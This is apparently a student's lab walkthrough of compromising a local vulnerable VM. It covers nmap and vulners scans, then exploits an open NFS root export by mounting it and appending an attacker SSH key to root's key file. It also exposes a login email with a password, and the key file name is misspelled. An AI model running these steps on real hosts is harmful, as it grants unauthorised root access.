Exploiting The Vulnerable VM

Discovery Phase:

My IP:

10.0.2.15

Scans for all IP’s on your LAN:

$ nmap -sP 10.0.2.0-256

Vulnerable VM IP:

10.0.2.10

Ping to get response & figure out if right IP:

$ ping 10.0.2.10

A screenshot of a computer

Description automatically generated with medium confidence0% packet loss

Scan for Vulnerabilities and save in file: (nmap scan)

$ sudo nmap -sV -p- --script vulners 10.0.2.10 > /home/kali/Desktop/NSE\_scan.txt

A picture containing text, computer, indoor, monitor

Description automatically generated

Ports & Vulnerabilities:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-13 10:28 EDT

Nmap scan report for 10.0.2.10

Host is up (0.000075s latency).

Not shown: 65523 closed tcp ports (reset)

| vulners:

| cpe:/a:openbsd:openssh:6.6.1p1:

| CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600

| MSF:ILITIES/GENTOO-LINUX-CVE-2015-6564/ 6.9 https://vulners.com/metasploit/MSF:ILITIES/GENTOO-LINUX-CVE-2015-6564/ \*EXPLOIT\*

| CVE-2015-6564 6.9 https://vulners.com/cve/CVE-2015-6564

| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919

| CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617

| MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/ \*EXPLOIT\*

| MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP9-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP9-CVE-2020-14145/ \*EXPLOIT\*

| MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP8-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP8-CVE-2020-14145/ \*EXPLOIT\*

| MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP5-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP5-CVE-2020-14145/ \*EXPLOIT\*

| MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/ \*EXPLOIT\*

| CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145

| CVE-2015-5352 4.3 https://vulners.com/cve/CVE-2015-5352

| MSF:ILITIES/ALPINE-LINUX-CVE-2015-6563/ 1.9 https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2015-6563/ \*EXPLOIT\*

|\_ CVE-2015-6563 1.9 https://vulners.com/cve/CVE-2015-6563

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/tcp6 nfs

| 100003 2,3,4 2049/udp nfs

| 100003 2,3,4 2049/udp6 nfs

| 100005 1,2,3 33161/udp mountd

| 100005 1,2,3 43598/tcp mountd

| 100005 1,2,3 56081/tcp6 mountd

| 100005 1,2,3 60378/udp6 mountd

| 100021 1,3,4 41504/tcp6 nlockmgr

| 100021 1,3,4 41901/tcp nlockmgr

| 100021 1,3,4 47764/udp6 nlockmgr

| 100021 1,3,4 55851/udp nlockmgr

| 100024 1 33193/tcp status

| 100024 1 41296/udp6 status

| 100024 1 56202/udp status

| 100024 1 58562/tcp6 status

| 100227 2,3 2049/tcp nfs\_acl

| 100227 2,3 2049/tcp6 nfs\_acl

| 100227 2,3 2049/udp nfs\_acl

|  |  |  |
| --- | --- | --- |
| PORT | STATE SERVICE | VERSION |
| 21/tcp | open ftp | vsftpd 3.0.2 |
| 22/tcp | open ssh | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) |
| 111/tcp | open rpcbind | 2-4 (RPC #100000) |
| 139/tcp | open | netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 445/tcp | open | netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 873/tcp | open rsync | (protocol version 31) |
| 2049/tcp | open nfs\_acl | 2-3 (RPC #100227) |
| 33193/tcp | open status | 1 (RPC #100024) |
| 38708/tcp | open mountd | 1-3 (RPC #100005) |
| 41901/tcp | open nlockmgr | 1-4 (RPC #100021) |
| 43598/tcp | open mountd | 1-3 (RPC #100005) |
| 47115/tcp | open mountd | 1-3 (RPC #100005) |

|\_ 100227 2,3 2049/udp6 nfs\_acl

A screenshot of a computer

Description automatically generated with medium confidence

MAC Address: 08:00:27:88:41:6D (Oracle VirtualBox virtual NIC)

Service Info: Host: OSBOXES; OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds

Download Nessus to check vulnerabilities against nmap scan

$ sudo dpkg -i Nessus-10.1.1-debian6\_amd64.deb

A screenshot of a computer

Description automatically generated with medium confidence

Start Nessus:

$ sudo /bin/systemctl start nessusd.service

GoTo: <https://kali:8834/>

Nessus login:

[P2629898@my365.dmu.ac.uk](mailto:P2629898@my365.dmu.ac.uk)

PW: kali

Complete full scan.

**START OF EXPLOITS HERE:**

2049/tcp open nfs\_acl 2-3 (RPC #100227)

**In new terminal:**

$ Sudo showmount -e 10.0.2.10

**Output:**

Export list for 10.0.2.10:

/ \*

/home \*

\*/home is mountable.

On the kali vm, create a .ssh directory under the root dir:

$ mkdir -p /root/.ssh

Change into the newly created dir:

$ cd /root/.ssh

Create an rsa public & private key pair:

Link: <https://www.thegeekdiary.com/using-the-ssh-keygen-command-in-linux/>

$ ssh-keygen -t rsa -b 4096

A screenshot of a computer

Description automatically generated with medium confidence

See if they’re made:

$ ls

A screenshot of a computer

Description automatically generated with medium confidence

In the /tmp dir, create a directory to mount the target home folders:

$ mkdir /tmp/pentest

Mount the vulnerable vm to this file location:

$ mount -o nolock -t nfs 10.0.2.10:/ /tmp/pentest

Check the mount:

$ df -k

A screenshot of a computer

Description automatically generated with medium confidence

Move to the mounted folder:

$ cd /tmp/pentest

A screenshot of a computer

Description automatically generated with medium confidence

Do a quick check of the folders including hidden files:

$ ls -al

Move to the .ssh folder on the mounted machine:

$ cd /tmp/pentest/root/.ssh

NB: If you don’t have this create one\*

Copy the rsa keys to the mounted .ssh dir:

$ cp /root/.ssh/pentest\_rsa.pub /tmp/pentest/root/.ssh

$ ls

A screenshot of a computer

Description automatically generated with medium confidence

Add your public key to this file:

$ cat pentest\_rsa.pub >> authorised\_keys

Check it worked:

$ cat authorised\_keys

A screenshot of a computer

Description automatically generated with medium confidence